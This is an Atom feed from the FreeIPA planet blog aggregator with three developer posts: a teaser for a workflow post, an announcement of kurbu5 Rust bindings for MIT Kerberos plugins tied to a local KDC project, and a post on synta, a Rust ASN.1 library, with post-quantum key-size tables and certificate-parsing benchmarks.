<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<feed xmlns="http://www.w3.org/2005/Atom">

	<title>FreeIPA Identity Management planet - technical blogs</title>
	<link rel="self" href="http://planet.freeipa.org/atom.xml"/>
	<link href="http://planet.freeipa.org/"/>
	<id>http://planet.freeipa.org/atom.xml</id>
	<updated>2026-05-10T07:28:35+00:00</updated>
	<generator uri="http://www.planetplanet.org/">Planet/2.0 +http://www.planetplanet.org</generator>

	<entry xml:lang="en">
		<title type="html">How I Work</title>
		<link href=""/>
		<id>http://rcritten.wordpress.com/?p=775</id>
		<updated>2026-04-15T17:18:45+00:00</updated>
		<content type="html">This is likely to be the worst and most boring post I&amp;#8217;ve ever done. But I want to get it out on the low chance that someone finds it useful. I tend to do almost everything manually, beyond installation scripts, rather than trying to automate much. Environment For quite a few years I had a &amp;#8230; &lt;a href=&quot;https://rcritten.wordpress.com/2026/04/15/how-i-work/&quot; class=&quot;more-link&quot;&gt;Continue reading &lt;span class=&quot;screen-reader-text&quot;&gt;How I Work&lt;/span&gt; &lt;span class=&quot;meta-nav&quot;&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</content>
		<author>
			<name>Rob Crittenden</name>
			<uri>https://rcritten.wordpress.com</uri>
		</author>
		<source>
			<title type="html">Frustrations</title>
			<subtitle type="html">Frustrated rantings of a developer</subtitle>
			<link rel="self" href="https://rcritten.wordpress.com/feed/"/>
			<id>https://rcritten.wordpress.com/feed/</id>
			<updated>2026-05-10T07:28:33+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">kurbu5: MIT Kerberos plugins in Rust</title>
		<link href="https://vda.li/en/posts/2026/04/04/kurbu5/"/>
		<id>https://vda.li/en/posts/2026/04/04/kurbu5/</id>
		<updated>2026-04-04T19:10:00+00:00</updated>
		<content type="html">&lt;p&gt;For a couple of years, Andreas Schneider and I have been working on a project we call the ‘local authentication hub’: an effort to use the Kerberos protocol to track authentication and authorization context for applications, regardless of whether the system they run on is enrolled into a larger organizational domain or is standalone. We aim to reuse the code and experience we got while developing Samba and FreeIPA over the past twenty years.&lt;/p&gt;

&lt;h2 id=&quot;local-authentication-hub&quot;&gt;Local authentication hub&lt;/h2&gt;

&lt;p&gt;The local authentication hub relies on a Kerberos KDC available on demand on each system. We achieved this by allowing MIT Kerberos to communicate over UNIX domain sockets. On Linux systems, systemd allows processes to be started on demand when someone connects to a UNIX domain socket, and MIT Kerberos 1.22 has support for this mode.&lt;/p&gt;

&lt;p&gt;A KDC accessible over a UNIX domain socket is not very useful in itself: it is only available within the context of a single machine (or a single container, or pod, if UNIX domain sockets are shared across multiple containers). Otherwise, it is a fully featured KDC with its own quirks. And we can start looking at what could be improved based on the enhanced context locality we have achieved. For example, a KDB driver can see host-specific network interfaces and thus be able to react to requests such as &lt;code&gt;host/&amp;lt;ip.ad.dr.ess&amp;gt;@LOCALKDC-REALM&lt;/code&gt; dynamically—something that a centrally-managed KDC would only do through statically registered service principal names (SPNs), which are a pain to update as machines move across networks.&lt;/p&gt;

&lt;p&gt;Adding support for dynamic features means new code needs to be written. MIT Kerberos is written in C, so our choices are either to continue writing in C or to integrate with whatever new language we choose. Initially, we kept the local KDC database driver written in C and decided to build the infrastructure we need in Rust. The end goal is to have most bits written in Rust.&lt;/p&gt;

&lt;p&gt;The local KDC database isn’t supposed to handle millions of principal entries, but even for millions of them, MIT Kerberos has a pretty good default database driver built on LMDB: &lt;code&gt;klmdb&lt;/code&gt;. We wanted to get out of the data store business and instead focus on higher-level logic. Thus, we made the same change I made in Samba around 2003 for virtual file system modules: we introduced support for stackable KDB drivers. This is also a part of the MIT Kerberos 1.22 release: a KDB driver implementation can ask the KDC to load a different KDB driver and choose to delegate some requests to it. The local KDC driver is using &lt;code&gt;klmdb&lt;/code&gt; for that purpose.&lt;/p&gt;

&lt;p&gt;With the database handled for us by &lt;code&gt;klmdb&lt;/code&gt;, we focused on the local KDC-specific logic. We wanted to dynamically discover user principals from the operating system so that administrators do not need to maintain separate databases for them. systemd provides a userdb API to query such information over a varlink interface (also available over a UNIX domain socket) in a structured way, using JSON format. Thus, the &lt;a href=&quot;https://gitlab.com/kirmes/kirmes&quot;&gt;Kirmes&lt;/a&gt; project was born. Kirmes is a Rust data library backed by the userdb API. It handles varlink communication through the wonderful &lt;a href=&quot;https://github.com/z-galaxy/zlink&quot;&gt;Zlink&lt;/a&gt; library and exposes both asynchronous and synchronous access to user and group information.&lt;/p&gt;

&lt;p&gt;The local KDC database driver prototype used the Kirmes C API. We demonstrated it at &lt;a href=&quot;https://archive.fosdem.org/2025/schedule/event/fosdem-2025-5618-localkdc-a-general-local-authentication-hub/&quot;&gt;FOSDEM 2025&lt;/a&gt;: a user lookup is done over varlink, and if a user is present on the system, their Kerberos key is then looked up in &lt;code&gt;klmdb&lt;/code&gt; using a specially-formatted &lt;code&gt;userdb:&amp;lt;username&amp;gt;&lt;/code&gt; principal. You still need to handle those keys somehow, but there is a way to avoid that: use RADIUS.&lt;/p&gt;

&lt;h2 id=&quot;pre-authentication&quot;&gt;Pre-authentication&lt;/h2&gt;

&lt;p&gt;A bit of historical reference. In 2012, Red Hat collaborated with MIT to introduce a &lt;a href=&quot;https://k5wiki.kerberos.org/wiki/Projects/OTPOverRADIUS&quot;&gt;KDC-side implementation&lt;/a&gt; of &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6560&quot;&gt;RFC 6560&lt;/a&gt; (the OTP pre-authentication mechanism; at that point implemented in a proprietary solution by the RSA corporation). This mechanism allowed the KDC to get a hint out of a KDB driver and ask a RADIUS server to authenticate the credentials provided by the Kerberos client. Unlike traditional Kerberos symmetric keys, in this case, the client is sending a plain-text credential over the Kerberos protocol, and this credential can be forwarded to the RADIUS server. The plain-text nature of the RADIUS credential requires the use of a secure communication channel, and a good part of RFC 6560 relies on Flexible Authentication Secure Tunneling (FAST, &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6113&quot;&gt;RFC6113&lt;/a&gt;), where a pre-existing Kerberos ticket is used to encrypt the content of that tunnel.&lt;/p&gt;

&lt;p&gt;Since ~2013, FreeIPA has used this mechanism to provide multi-factor authentication mechanisms: HOTP/TOTP tokens, RADIUS proxying to remote servers, the OAuth2 device authorization grant flow, and FIDO2 tokens. The list of mechanisms can be extended, as long as the model fits into the somewhat constrained Kerberos exchange flow. FreeIPA handles all communication from the KDC side via a local UNIX domain socket-activated daemon, &lt;code&gt;ipa-otpd&lt;/code&gt;, which performs a user principal lookup and then decides on the details of how that user will be authenticated.&lt;/p&gt;

&lt;p&gt;For the local KDC case, we used a similar approach but wrote a simplified version, &lt;code&gt;localkdc-pam-auth&lt;/code&gt;, which uses PAM to authenticate user credentials. It works well and allows for a drop-in replacement: once the local KDC is set up, users defined on the system will automatically be able to receive Kerberos tickets, with no need to change any passwords or migrate their credentials into the Kerberos KDC. All we need now is the business logic to guide the KDC to use the OTP pre-authentication mechanism so that our RADIUS ‘proxy’ (&lt;code&gt;localkdc-pam-auth&lt;/code&gt;) gets activated. This logic is implemented and will be available in the first localkdc release soon.&lt;/p&gt;

&lt;h2 id=&quot;api-bindings&quot;&gt;API bindings&lt;/h2&gt;

&lt;p&gt;But back to the KDC side. As mentioned above, our goal was to write the local KDC database driver in a modern, safe language. Interfacing Rust with the MIT Kerberos KDC means building an interface that allows aligning code on both sides. This is what this blog is actually about (sorry for the long prelude…): how to make an MIT Kerberos KDB driver in Rust.&lt;/p&gt;

&lt;p&gt;Today I published &lt;a href=&quot;https://codeberg.org/abbra/kurbu5&quot;&gt;Kurbu5&lt;/a&gt;, a project that aims to provide these API bindings to Rust. The name is a transliteration of “krb5” into Mesopotamian cuneiform phonology: Kurbu-ḫamšat-qaqqadī—”The Blessed Five-Headed One”.&lt;/p&gt;

&lt;p&gt;Creating API bindings is tedious work: there are many interfaces, each representing multiple functions and structures. MIT Kerberos has 12 interfaces which altogether expose roughly 117 methods that plugin authors implement, backed by around 70 supporting types (data structures passed into and out of those methods). It all sounds like a Tolkien tale: nine interfaces for core Kerberos functionality (checking password quality, mapping hostnames to Kerberos realms, mapping Kerberos principals to local accounts, selecting which credential cache to use, handling pre-authentication on both the client and server side, enforcing KDC policy, authorizing PKINIT certificates, and auditing events on the KDC side), the database backend interface, and two administrative interfaces. This is something that could be automated with agentic workflows—which I did to allow a parallel porting effort. The resulting agent &lt;a href=&quot;https://codeberg.org/abbra/kurbu5/src/branch/main/.agents/agents/implement-plugin.md&quot;&gt;instructions&lt;/a&gt; are useful artifacts in themselves: they show how to work when porting MIT Kerberos C code to Rust.&lt;/p&gt;

&lt;p&gt;The result is split over several Rust crates to allow targeted reuse. The bulk of the code lives in three crates. The core Kerberos plugin crate (kurbu5-rs) is the largest at around 12,600 lines. The database backend crate (kurbu5-kdb-rs) follows at 5,600 lines, and the administration crate (kurbu5-kadm5-rs) at 3,100 lines. The remaining crates—the proc-macro derives and the raw FFI sys crates—are much smaller, with the sys crates being almost trivially thin (the KDB and kadm5 ones are under 40 lines each, since they mostly just re-export bindings from the main sys crate).&lt;/p&gt;

&lt;p&gt;All crates are available on &lt;code&gt;crates.io&lt;/code&gt; and share the same MIT license as the original MIT Kerberos.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-sys&quot;&gt;kurbu5-sys&lt;/a&gt; — Raw FFI bindings to the MIT Kerberos libkrb5 and KDB plugin API&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-derive&quot;&gt;kurbu5-derive&lt;/a&gt; — Proc-macro derives for kurbu5-rs non-KDB plugin interfaces&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-rs&quot;&gt;kurbu5-rs&lt;/a&gt; — Safe, idiomatic Rust API for writing MIT Kerberos non-KDB plugin modules&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-kdb-sys&quot;&gt;kurbu5-kdb-sys&lt;/a&gt; — KDB plugin API re-export — thin wrapper over kurbu5-sys adding libkdb5 linkage&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-kdb-derive&quot;&gt;kurbu5-kdb-derive&lt;/a&gt; — Proc-macro derive for kurbu5-kdb-rs KDB driver plugins&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-kdb-rs&quot;&gt;kurbu5-kdb-rs&lt;/a&gt; — Safe, idiomatic Rust API for writing MIT Kerberos KDB driver plugins&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-kadm5-sys&quot;&gt;kurbu5-kadm5-sys&lt;/a&gt; — KADM5 plugin API bindings — links libkadm5srv_mit and re-exports kurbu5-sys types&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-kadm5-derive&quot;&gt;kurbu5-kadm5-derive&lt;/a&gt; — Proc-macro derives for kurbu5-kadm5-rs KADM5_AUTH and KADM5_HOOK plugin interfaces&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crates.io/crates/kurbu5-kadm5-rs&quot;&gt;kurbu5-kadm5-rs&lt;/a&gt; — Safe, idiomatic Rust API for writing MIT Kerberos KADM5_AUTH and KADM5_HOOK plugin modules&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the localkdc project, we use kurbu5 to build a KDB driver and provide our audit plugin. We also have an experimental re-implementation of the OTP pre-authentication mechanism, both client and KDC sides, that was used to test interoperability with MIT Kerberos versions. The core of the KDB driver is ~520 lines of heavily documented Rust code, mostly handling business logic.&lt;/p&gt;</content>
		<author>
			<name>Alexander Bokovoy</name>
			<uri>https://vda.li/en/</uri>
		</author>
		<source>
			<title type="html">Far away to be identical</title>
			<subtitle type="html">Identity management chaos or a development of a fun</subtitle>
			<link rel="self" href="https://vda.li/en/freeipa.xml"/>
			<id>https://vda.li/en/freeipa.xml</id>
			<updated>2026-05-10T07:26:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">ASN.1 for legacy apps: Synta</title>
		<link href="https://vda.li/en/posts/2026/03/23/synta/"/>
		<id>https://vda.li/en/posts/2026/03/23/synta/</id>
		<updated>2026-03-23T08:33:00+00:00</updated>
		<content type="html">&lt;p&gt;Pretty much everything I deal with requires parsing ASN.1 encodings. ASN.1 definitions published as part of internet RFCs: certificates are encoded using DER, LDAP exchanges use BER, Kerberos packets are using DER as well. ASN.1 use is a never ending source of security issues in pretty much all applications. Having safer ASN.1 processing is important to any application developer.&lt;/p&gt;

&lt;p&gt;In FreeIPA we are using three separate ASN.1 libraries: &lt;code&gt;pyasn1&lt;/code&gt; and &lt;code&gt;x509&lt;/code&gt; (part of PyCA) for Python code, and &lt;code&gt;asn1c&lt;/code&gt; code generator for C code. In fact, we use more: LDAP server plugins also use OpenLDAP’s &lt;code&gt;lber&lt;/code&gt; library, while Kerberos KDC plugins also use internal MIT Kerberos parsers.&lt;/p&gt;

&lt;p&gt;The PyCA developers noted in their &lt;a href=&quot;https://cryptography.io/en/latest/statements/state-of-openssl/&quot;&gt;State of OpenSSL&lt;/a&gt; statement:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[…] when pyca/cryptography migrated X.509 certificate parsing from OpenSSL to our own Rust code, we got a 10x performance improvement relative to OpenSSL 3 (n.b., some of this improvement is attributable to advantages in our own code, but much is explainable by the OpenSSL 3 regressions). Later, moving public key parsing to our own Rust code made end-to-end X.509 path validation 60% faster — just improving key loading led to a 60% end-to-end improvement, that’s how extreme the overhead of key parsing in OpenSSL was.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That’s 16x performance improvement over the OpenSSL 3. OpenSSL did improve their performance since then but it still pays an overhead for a very flexible design to allow loading cryptographic implementations from dynamic modules (providers). Enablement for externally-provided modules is essential to allow adding new primitives and support for government-enforced standards (such as FIPS 140) where implementations have to be validated in advance and code changes cannot come without expensive and slow re-validation process.&lt;/p&gt;

&lt;p&gt;Nevertheless, in FreeIPA we focus on integrating with Linux distributions. Fedora, CentOS Stream, and RHEL enforce crypto consolidation rules, where all packaged applications must be using the same crypto primitives provided by the operating system. We can process metadata ourselves but all cryptographic operations still have to go through OpenSSL and NSS. And paying large performance costs during metadata processing would be hurting to infrastructure components such as FreeIPA.&lt;/p&gt;

&lt;p&gt;FreeIPA is a large beast. Aside from its management component, written in Python, it has more than a dozen plugins for 389-ds LDAP server, plugins for MIT Kerberos KDC, plugins for Samba, and tight integration with SSSD, all written in C. Its default certificate authority software, Dogtag PKI, is written in Java and relies on own stack of Java and C dependencies. We are using PyCA’s x509 module for certificate processing in Python code but we cannot use it and underlying ASN.1 libraries in C as those libraries aren’t exposed to C applications or intentionally limited in their functionality to PKI-related tasks.&lt;/p&gt;

&lt;p&gt;For the 2026-2028, I’m focusing on enabling FreeIPA to handle post-quantum cryptography (PQC), as a part of the &lt;a href=&quot;https://qarc.vut.cz&quot;&gt;Quantum-Resistant Cryptography in Practice (QARC)&lt;/a&gt; project. The project is funded by the European Union under the Horizon Europe framework programme (Grant Agreement No. 101225691) and supported by the European Cybersecurity Competence Centre. One of well publicized aspects of moving to PQC certificates is their sizes. The following table 5 is from &lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-pquip-pqc-engineers/&quot;&gt;Post-Quantum Cryptography for Engineers&lt;/a&gt; IETF draft summarizes it well:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;PQ Security Level&lt;/th&gt;
      &lt;th&gt;Algorithm&lt;/th&gt;
      &lt;th&gt;Public key size (bytes)&lt;/th&gt;
      &lt;th&gt;Private key size (bytes)&lt;/th&gt;
      &lt;th&gt;Signature size(bytes)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Traditional&lt;/td&gt;
      &lt;td&gt;RSA2048&lt;/td&gt;
      &lt;td&gt;256&lt;/td&gt;
      &lt;td&gt;256&lt;/td&gt;
      &lt;td&gt;256&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Traditional&lt;/td&gt;
      &lt;td&gt;ECDSA-P256&lt;/td&gt;
      &lt;td&gt;64&lt;/td&gt;
      &lt;td&gt;32&lt;/td&gt;
      &lt;td&gt;64&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;FN-DSA-512&lt;/td&gt;
      &lt;td&gt;897&lt;/td&gt;
      &lt;td&gt;1281&lt;/td&gt;
      &lt;td&gt;666&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2&lt;/td&gt;
      &lt;td&gt;ML-DSA-44&lt;/td&gt;
      &lt;td&gt;1312&lt;/td&gt;
      &lt;td&gt;2560&lt;/td&gt;
      &lt;td&gt;2420&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;ML-DSA-65&lt;/td&gt;
      &lt;td&gt;1952&lt;/td&gt;
      &lt;td&gt;4032&lt;/td&gt;
      &lt;td&gt;3309&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;FN-DSA-1024&lt;/td&gt;
      &lt;td&gt;1793&lt;/td&gt;
      &lt;td&gt;2305&lt;/td&gt;
      &lt;td&gt;1280&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;5&lt;/td&gt;
      &lt;td&gt;ML-DSA-87&lt;/td&gt;
      &lt;td&gt;2592&lt;/td&gt;
      &lt;td&gt;4896&lt;/td&gt;
      &lt;td&gt;4627&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Public keys for ML-DSA-65 certificates 7.6x bigger than RSA-2048 ones. You need to handle public keys in multiple situations: when performing certificates’ verification against known certificate authorities (CAs), when matching their properties for validation and identity derivation during authorization, when storing them. FreeIPA uses LDAP as a backend, so storing 7.6 times more data directly affects your scalability when number of users or machines (or Kerberos services) grow up. And since certificates are all ASN.1 encoded, I naturally wanted to establish a performance baseline to ASN.1 parsing.&lt;/p&gt;

&lt;h3 id=&quot;synta-asn1-library&quot;&gt;Synta, ASN.1 library&lt;/h3&gt;

&lt;p&gt;I started with a small task: created a Rust library, &lt;code&gt;synta&lt;/code&gt;, to decode and encode ASN.1 with the help of AI tooling. It quickly grew up to have its own ASN.1 schema parser and code generation tool. With those in place, I started generating more code, this time to process X.509 certificates, handle Kerberos packet structures, and so on. Throwing different tasks at Claude Code led to iterative improvements. Over couple months we progressed to a project with more than 60K lines of Rust code.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Language&lt;/th&gt;
      &lt;th&gt;files&lt;/th&gt;
      &lt;th&gt;blank&lt;/th&gt;
      &lt;th&gt;comment&lt;/th&gt;
      &lt;th&gt;code&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Rust&lt;/td&gt;
      &lt;td&gt;207&lt;/td&gt;
      &lt;td&gt;9993&lt;/td&gt;
      &lt;td&gt;17492&lt;/td&gt;
      &lt;td&gt;67284&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Markdown&lt;/td&gt;
      &lt;td&gt;52&lt;/td&gt;
      &lt;td&gt;5619&lt;/td&gt;
      &lt;td&gt;153&lt;/td&gt;
      &lt;td&gt;18059&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Python&lt;/td&gt;
      &lt;td&gt;41&lt;/td&gt;
      &lt;td&gt;2383&lt;/td&gt;
      &lt;td&gt;2742&lt;/td&gt;
      &lt;td&gt;7679&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C&lt;/td&gt;
      &lt;td&gt;17&lt;/td&gt;
      &lt;td&gt;852&lt;/td&gt;
      &lt;td&gt;889&lt;/td&gt;
      &lt;td&gt;4333&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Bourne Shell&lt;/td&gt;
      &lt;td&gt;8&lt;/td&gt;
      &lt;td&gt;319&lt;/td&gt;
      &lt;td&gt;482&lt;/td&gt;
      &lt;td&gt;1640&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C/C++ Header&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;319&lt;/td&gt;
      &lt;td&gt;1957&lt;/td&gt;
      &lt;td&gt;1138&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;TOML&lt;/td&gt;
      &lt;td&gt;20&lt;/td&gt;
      &lt;td&gt;196&lt;/td&gt;
      &lt;td&gt;97&lt;/td&gt;
      &lt;td&gt;896&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;YAML&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;20&lt;/td&gt;
      &lt;td&gt;46&lt;/td&gt;
      &lt;td&gt;561&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;make&lt;/td&gt;
      &lt;td&gt;4&lt;/td&gt;
      &lt;td&gt;166&lt;/td&gt;
      &lt;td&gt;256&lt;/td&gt;
      &lt;td&gt;493&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;CMake&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
      &lt;td&gt;36&lt;/td&gt;
      &lt;td&gt;25&lt;/td&gt;
      &lt;td&gt;150&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;JSON&lt;/td&gt;
      &lt;td&gt;6&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;38&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;diff&lt;/td&gt;
      &lt;td&gt;1&lt;/td&gt;
      &lt;td&gt;6&lt;/td&gt;
      &lt;td&gt;13&lt;/td&gt;
      &lt;td&gt;29&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;SUM&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;364&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;19909&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;24152&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;102300&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;I published some of the &lt;code&gt;synta&lt;/code&gt; crates yesterday on &lt;a href=&quot;https://crates.io/users/abbra&quot;&gt;crates.io&lt;/a&gt;, the whole project is available at &lt;a href=&quot;https://codeberg.org/abbra/synta&quot;&gt;codeberg.org/abbra/synta&lt;/a&gt;. In total, there are 11 crates, though only seven are published (and &lt;code&gt;synta-python&lt;/code&gt; is also available at PyPI):&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Crate&lt;/th&gt;
      &lt;th&gt;Lines (src/ only)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;synta&lt;/td&gt;
      &lt;td&gt;10572&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-derive&lt;/td&gt;
      &lt;td&gt;2549&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-codegen&lt;/td&gt;
      &lt;td&gt;17578&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-certificate&lt;/td&gt;
      &lt;td&gt;4549&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-python&lt;/td&gt;
      &lt;td&gt;8953&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-ffi&lt;/td&gt;
      &lt;td&gt;7843&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-krb5&lt;/td&gt;
      &lt;td&gt;2765&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-mtc&lt;/td&gt;
      &lt;td&gt;7876&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-tools&lt;/td&gt;
      &lt;td&gt;707&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-bench&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;synta-fuzz&lt;/td&gt;
      &lt;td&gt;3551&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Benchmarking, fuzzer, and tools aren’t published. They only needed for development purposes.&lt;/p&gt;

&lt;h3 id=&quot;performance&quot;&gt;Performance&lt;/h3&gt;

&lt;p&gt;The numbers below were obtained on Lenovo ThinkPad P1 Gen 5, 12th Gen Intel(R) Core(TM) i7-12800H, 64 GB RAM, on Fedora 42. This is pretty much a 3-4 years old hardware.&lt;/p&gt;

&lt;p&gt;Benchmarking is what brought this project to life, let’s look at the numbers. When dealing with certificates, ASN.1 encoding can be parsed in different ways: you can visit every structure or stop at outer shells and only visit the remaining nested structures when you really need them. The former is “parse+fields” and the latter is “parse-only” in the following table that summarizes comparison between &lt;code&gt;synta&lt;/code&gt; and various Rust crates (and OpenSSL/NSS which were accessible through their Rust FFI bindings):&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Library&lt;/th&gt;
      &lt;th&gt;Parse-only&lt;/th&gt;
      &lt;th&gt;Parse+fields&lt;/th&gt;
      &lt;th&gt;vs synta (parse-only)&lt;/th&gt;
      &lt;th&gt;vs synta (parse+fields)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;synta&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;0.48 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1.32 µs&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
      &lt;td&gt;—&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cryptography-x509&lt;/td&gt;
      &lt;td&gt;1.45 µs&lt;/td&gt;
      &lt;td&gt;1.43 µs&lt;/td&gt;
      &lt;td&gt;3.0× slower&lt;/td&gt;
      &lt;td&gt;1.1× slower&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;x509-parser&lt;/td&gt;
      &lt;td&gt;2.01 µs&lt;/td&gt;
      &lt;td&gt;1.99 µs&lt;/td&gt;
      &lt;td&gt;4.2× slower&lt;/td&gt;
      &lt;td&gt;1.5× slower&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;x509-cert&lt;/td&gt;
      &lt;td&gt;3.16 µs&lt;/td&gt;
      &lt;td&gt;3.15 µs&lt;/td&gt;
      &lt;td&gt;6.6× slower&lt;/td&gt;
      &lt;td&gt;2.4× slower&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NSS&lt;/td&gt;
      &lt;td&gt;7.90 µs&lt;/td&gt;
      &lt;td&gt;7.99 µs&lt;/td&gt;
      &lt;td&gt;16× slower&lt;/td&gt;
      &lt;td&gt;6.1× slower&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;rust-openssl&lt;/td&gt;
      &lt;td&gt;15.4 µs&lt;/td&gt;
      &lt;td&gt;15.1 µs&lt;/td&gt;
      &lt;td&gt;32× slower&lt;/td&gt;
      &lt;td&gt;11× slower&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ossl&lt;/td&gt;
      &lt;td&gt;16.1 µs&lt;/td&gt;
      &lt;td&gt;15.8 µs&lt;/td&gt;
      &lt;td&gt;33× slower&lt;/td&gt;
      &lt;td&gt;12× slower&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;“Parse+fields” tests access every named field: serial number, issuer/subject DNs, signature algorithm OID, signature bytes, validity period, public key algorithm OID, public key bytes, and version. The “parse+fields” speedup is the fair end-to-end comparison: &lt;code&gt;synta&lt;/code&gt;’s parse-only advantage is large because most fields are stored as zero-copy slices deferred until access, while other libraries must materialise all fields eagerly at parse time.&lt;/p&gt;

